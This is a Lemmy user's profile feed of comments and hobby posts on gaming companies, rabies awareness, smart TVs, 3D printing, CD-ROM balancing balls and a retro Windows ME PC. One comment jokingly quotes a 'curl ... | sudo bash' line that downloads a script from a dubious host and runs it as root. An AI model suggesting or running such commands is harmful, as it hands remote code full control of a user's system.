nik282000

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[–] [email protected] 0 points 3 hours ago

Higher speed limits -> private health care -> tax revenue.

[–] [email protected] 2 points 7 hours ago

When some project has install instructions that look like this:

curl totaly.ok.ru/command.sh | sudo bash

I'll usually view skim through the file, understand none of it and then run it in a VM or container with my fingers crossed.

[–] [email protected] 5 points 11 hours ago (1 children)

Ignorance is not an excuse.

If no one has ever told them that some bats carry rabies how would they know to Google anything when they find a bat in the house? It's not something that is taught in school and I've never seen or heard a PSA talking about it in Ontario.

[–] [email protected] 59 points 1 day ago (1 children)

In 19 years I have never been burned by Valve, in the same period I have lost access to software (and hardware) from Microsoft, Sony, Nintendo and Epic. They are a money making business and will always act in their own interest but so far it seems like their own interests includes not stomping on customers (in my experience).

[–] [email protected] 19 points 1 day ago (8 children)

What monopoly? Microsoft, Sony, Nintendo, and Epic all make money hand over fist selling videogames.

[–] [email protected] 7 points 1 day ago (1 children)

the need to impose a sentence that would deter anyone else from trying to “change the genetic makeup of the creatures” on earth.

Dogs, cats, cows, pigs, chickens, horses, sheep, literally every domesticated animal has had it's genetic makeup changed either indirectly or directly by humans. Is there no way to get a sentence thrown out if your judge proves themselves to be totally ignorant on the subject?

[–] [email protected] 6 points 4 days ago

Find the guys who signed the paperwork to build the well, chain them to it. Make them spend a year cleaning up by hand before we have to start paying for it.

[–] [email protected] 2 points 4 days ago

Why did you censor the word "subreddit?"

[–] [email protected] 4 points 5 days ago

That's going to murder the battery lifespan. Why not make swappable batteries, you get a 10min turn around while also greatly extending battery life. On a machine that size you have the room to make things more serviceable :/

[–] [email protected] 2 points 5 days ago

There are streaming services that already are not available in Canada because we are too small of a market to be worth the hassle. Increasing that hassle will not make the situation better.

[–] [email protected] 3 points 5 days ago

Only 10K left to go.

[–] [email protected] 1 points 6 days ago

No they wont.

There is no demand for dumb-TVs. People are stupid, people don't know what they want, people don't know that their TV is broken because the manufacture made it broken. People will buy what they are told to buy.

At best you can buy a smart TV, hobble it, and use your own video sources.

 

Using a vinyl cutter and mini-sand blaster I made some alternate universe corporate schwag! I like the idea that someone might have swiped these during an interview before both companies had their 'accidents.'

 

I got my hands on some really weird EL panels and did a little dive into how they work. I still have no idea where to get more but I think they may be DIY-able.

 

I was gifted an unused Ender 3 Pro two weeks ago and managed to model and print an adapter to connect Sony E-Mount cameras onto a 42mm dovetail used by microscopes.

Bed adhesion, leveling, stringing, clearance issues, blobs and permanently welded supports, I got to battle it all but thanks to the massive volume of community support I worked my way though.

 

I was given an Ender 3 Pro last week and after a few bumps managed to successfully CAD, slice and print a booster seat for my phone. The caddy as it was would grab the volume down button on my phone, this little wedge solves the issue!

 

I learned this week that many high speed CD-ROM drives used balancing balls on the spindle to stop discs from vibrating at 10Krpm.

Between the platter that supports the CD and the motor there is a puck with a toroidal void containing a few ball bearings. When an out of balance CD is spun up the spindle and disc together rotate around their common center of mass, some point between the spindle and the edge of the disk. This means that the void containing the balls no longer rotates around it's center, it spins like a hula-hoop around the spindle/DC center of mass. With the "lighter" side of the system being farther from the center of rotation the balls roll 'down hill' towards the side of the void that is experiencing more centrifugal force. Eventually enough balls will collect on the light side to perfectly cancel out the heavy side. If there are too many balls they will distribute themselves inside the void until they cancel out each other's weight!

The link leads to a scaled up demo of this using an empty water bottle and steel BBs.

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Rain (lemmy.ca)
 

// Randomly spawn drops

// Take a random fraction of each cell move it down, or down and to the left or right

// The remainder of the fraction stays where it is

// Subtract a constant small value from all cells to prevent rain from accumulating

 

I found a box of CD-Roms and floppy disks in my mum's basement and damnit, I want to play them! I could use emulators, DosBox or VMs but it's never quite the same as having the real thing, so between an eBay mobo and a box of old parts I managed to build my new gaming rig to cover 1990-2005.

Its running a P3 at 1GHz, 512MB of ram, and an ATI Xpert98 with 8MB of memory. As I didn't want to run an old IDE drive with a million hours on it, I tried an SATA-IDE adapter, it caused some issues during the install but that just felt like the standard Windows experience.

Though unpopular, I went with ME for 2 reasons, the first was Dos support, the second is that I went from W95 to ME as a kid, 98 wouldn't have felt the same. The install bricked twice with video drivers but I finally got it up and running with the default drivers and an 18" Samsung flat CRT (runs up to 1600x1200 at a nauseating 60hz).

So what were your favorite games from the 90's and early 2000s?

 

In the ruling, the judges argued the application could not be successful because of a new law, Rebuilding Ontario Place Act, 2023, that the government passed days after the court application was filed last November.

wow

 
 

Made with Processing.org

 

Repaired some broken solder joints, sanded out the biggest scuffs and polished most of the scratches out of the screen. Oh yeah, and the paint job.

 

I tried to go for an 80's NES theme. Not perfect but not bad.

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